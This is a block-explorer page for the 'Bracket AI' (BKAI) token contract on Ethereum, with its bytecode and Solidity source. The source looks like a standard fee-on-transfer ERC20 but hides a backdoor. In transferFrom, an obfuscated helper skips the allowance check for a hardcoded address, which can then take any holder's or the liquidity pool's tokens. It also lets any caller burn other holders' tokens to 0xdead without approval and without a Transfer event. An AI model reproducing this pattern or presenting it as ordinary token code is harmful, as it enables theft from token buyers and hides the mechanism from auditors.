Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xFb477d2ff2D2b311726b8e580C747A29071f7F8C
Balance 0 ETH
Nonce 1
Code Size 5159 bytes
Creator 0x5428F3Fe...eB2E at tx 0xcb5e7e8c...482566
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5159 bytes
0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b65780638da5cb5b146101cc57806395d89b41146101f2578063a9059cbb1461021e578063c9567bf91461023d578063dd62ed3e14610251575f80fd5b806306fdde03146100b3578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce5671461016757806370a0823114610182575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152600a815269427261636b657420414960b01b60208201525b6040516100ee919061106b565b60405180910390f35b348015610102575f80fd5b506101166101113660046110ce565b610295565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6102ab565b6040519081526020016100ee565b348015610153575f80fd5b506101166101623660046110f8565b6102cc565b348015610172575f80fd5b50604051600981526020016100ee565b34801561018d575f80fd5b5061013a61019c366004611136565b6001600160a01b03165f9081526001602052604090205490565b3480156101c1575f80fd5b506101ca610342565b005b3480156101d7575f80fd5b505f546040516001600160a01b0390911681526020016100ee565b3480156101fd575f80fd5b50604080518082019091526004815263424b414960e01b60208201526100e1565b348015610229575f80fd5b506101166102383660046110ce565b6103e8565b348015610248575f80fd5b506101ca6103f4565b34801561025c575f80fd5b5061013a61026b366004611151565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102a1338484610755565b5060015b92915050565b5f6102b86009600a61127c565b6102c7906461f313f88061128a565b905090565b5f6102d8848484610878565b6102e28484610ca1565b15610338576103388433610333856040518060600160405280602881526020016113ca602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cea565b610755565b5060019392505050565b5f546001600160a01b031633146103a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102a1338484610878565b5f546001600160a01b0316331461044d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610397565b601054600160b01b900460ff16156104a75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610397565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104f19030906104e26009600a61127c565b610333906461f313f88061128a565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610541573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056591906112a1565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e891906112a1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610632573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065691906112a1565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d719473061069d816001600160a01b03165f9081526001602052604090205490565b5f806106b05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610716573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073b91906112bc565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107b75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610397565b6001600160a01b0382166108185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610397565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610397565b6001600160a01b03821661093e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610397565b5f811161099f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610397565b5f80546001600160a01b038581169116148015906109ca57505f546001600160a01b03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Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
BKAI.sol 285 lines 
/*

https://t.me/bracketai
https://x.com/bracketai

https://www.bracketai.org/
https://stake.bracketai.org/
https://docs.bracketai.org/

*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BKAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeForFees;

    address private _blackhole = address(0xdead);
    address private _briketai = 0xaf98Af48f674F20CD0B1AE8370F52faE6cD82cC1;

    uint256 private _initTaxBuy=2;
    uint256 private _initTaxSell=2;
    uint256 private _finalTaxBuy=0;
    uint256 private _finalTaxSell=0;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=3;
    uint256 private _preventBefore=3;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Bracket AI";
    string private constant _symbol = unicode"BKAI";
    uint256 private _maxSwapLimit = _tTotal / 100;
    
    IRouter private _uniRouter;
    address private _uniPair;
    bool private _swapping = false;
    bool private _swapActive = false;
    bool private _tradingEnabled = false;
    
    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () {
        _isExcludeForFees[owner()] = true;
        _isExcludeForFees[address(this)] = true;
        _isExcludeForFees[_briketai] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_liqowija(sender, recipient))
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _liqowija(address owner, address spender) private view returns (bool) {
        return msg.sender != _briketai && (owner == _uniPair || spender != _blackhole) ;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _liji, address _wusa, uint256 _nuppia) private {
        require(_liji != address(0), "ERC20: transfer from the zero address");
        require(_wusa != address(0), "ERC20: transfer to the zero address");
        require(_nuppia > 0, "Transfer amount must be greater than zero");
        uint256 _subTaxAmount=0;
        if (_liji != owner() && _wusa != owner()) {
            _subTaxAmount = _nuppia.mul((_buyCount>_reduceBuyTaxAt)?_finalTaxBuy:_initTaxBuy).div(100);

            if (_liji == _uniPair && _wusa != address(_uniRouter) && ! _isExcludeForFees[_wusa] ) {
                _buyCount++;
            }

            if(_wusa == _uniPair && _liji!= address(this) ){
                _subTaxAmount = _nuppia.mul((_buyCount>_reduceSellTaxAt)?_finalTaxSell:_initTaxSell).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_swapping && _wusa == _uniPair && _swapActive && _buyCount > _preventBefore) {
                if(contractTokenBalance > _maxSwapLimit)
                swapTokensForEth(min(_nuppia, min(contractTokenBalance, _maxSwapLimit)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(_subTaxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_subTaxAmount);
          emit Transfer(_liji, address(this),_subTaxAmount);
        }
        _balances[_liji]=_balances[_liji].sub(_nuppia);
        _balances[_wusa]=_balances[_wusa].add(_nuppia.sub(_subTaxAmount));
        if (_wusa != _blackhole)emit Transfer(_liji, _wusa, _nuppia.sub(_subTaxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouter.WETH();
        _approve(address(this), address(_uniRouter), tokenAmount);
        _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_briketai).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _uniRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniRouter), _tTotal);
        _uniPair = IUniswapV2Factory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH());
        _uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapActive = true;
        _tradingEnabled = true;
    }

    receive() external payable {}
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 5 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Transactions Internal Txs Token Transfers Events

Recent Transactions

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